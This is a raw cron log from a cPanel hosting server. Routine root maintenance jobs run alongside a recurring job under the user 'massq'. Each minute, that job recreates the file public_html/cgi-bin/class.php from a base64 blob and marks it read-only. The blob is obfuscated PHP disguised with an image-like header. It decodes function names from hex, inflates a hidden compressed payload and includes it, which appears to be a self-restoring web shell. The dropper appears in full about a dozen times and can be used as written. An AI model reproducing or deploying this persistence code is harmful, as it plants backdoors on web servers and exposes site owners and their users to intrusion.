Sep  1 09:36:01 server CROND[1425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:36:01 server CROND[1426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:36:01 server CROND[1427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:37:01 server CROND[1810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:37:01 server CROND[1811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:37:01 server CROND[1812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:38:01 server CROND[2333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:38:01 server CROND[2334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:38:01 server CROND[2335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:39:01 server CROND[2754]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 09:39:01 server CROND[2755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:39:01 server CROND[2756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:39:01 server CROND[2757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:40:01 server CROND[3157]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:40:01 server CROND[3161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:40:01 server CROND[3165]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:40:01 server CROND[3169]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:40:01 server CROND[3167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:40:01 server CROND[3166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:40:01 server CROND[3164]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:40:01 server CROND[3171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:41:01 server CROND[4020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:41:01 server CROND[4021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:41:01 server CROND[4022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:42:01 server CROND[4407]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:42:01 server CROND[4408]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 09:42:01 server CROND[4409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:42:01 server CROND[4410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:43:01 server CROND[4906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:43:01 server CROND[4907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:43:01 server CROND[4908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:44:01 server CROND[5517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:44:01 server CROND[5518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:44:01 server CROND[5519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:45:01 server CROND[5922]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:45:01 server CROND[5923]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:45:01 server CROND[5930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:45:01 server CROND[5933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:45:01 server CROND[5936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:45:01 server CROND[5937]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:45:01 server CROND[5938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:46:01 server CROND[6768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:46:01 server CROND[6769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:46:01 server CROND[6770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:47:01 server CROND[7150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:47:01 server CROND[7151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:47:01 server CROND[7152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:48:01 server CROND[7646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:48:01 server CROND[7647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
